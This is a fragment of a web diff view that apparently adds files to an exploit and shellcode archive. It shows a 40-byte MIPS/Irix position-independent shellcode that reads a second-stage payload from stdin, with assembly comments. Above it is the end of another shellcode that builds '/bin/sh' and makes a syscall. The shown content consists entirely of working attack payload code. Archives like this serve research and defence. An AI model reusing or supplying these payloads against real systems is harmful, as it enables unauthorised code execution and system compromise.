|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x2f62696e, /* .ascii "/bin" */
|
||||||
|
0x2f736842, /* .ascii "/sh", .byte 0xdummy */
|
||||||
14
shellcodes/irix/43512.c
Normal file
14
shellcodes/irix/43512.c
Normal file
|
|
@ -0,0 +1,14 @@
|
||||||
|
/* 40 byte MIPS/Irix PIC stdin-read shellcode. -scut/teso
|
||||||
|
*/
|
||||||
|
unsigned long int shellcode[] = {
|
||||||
|
0x24048cb0, /* li $a0, -0x7350 */
|
||||||
|
/* dpatch: */ 0x0490ffff, /* bltzal $a0, dpatch */
|
||||||
|
0x2804ffff, /* slti $a0, $zero, -1 */
|
||||||
|
0x240fffe3, /* li $t7, -29 */
|
||||||
|
0x01e07827, /* nor $t7, $t7, $zero */
|
||||||
|
0x03ef2821, /* addu $a1, $ra, $t7 */
|
||||||
|
0x24060201, /* li $a2, 0x0201 (513 bytes) */
|
||||||
|
0x240203eb, /* li $v0, SYS_read */
|
||||||
|
0x0101010c, /* syscall */
|
||||||
|
0x24187350, /* li $t8, 0x7350 (nop) */
|
||||||
|
};
|
||||||
Loading…
Add table
Reference in a new issue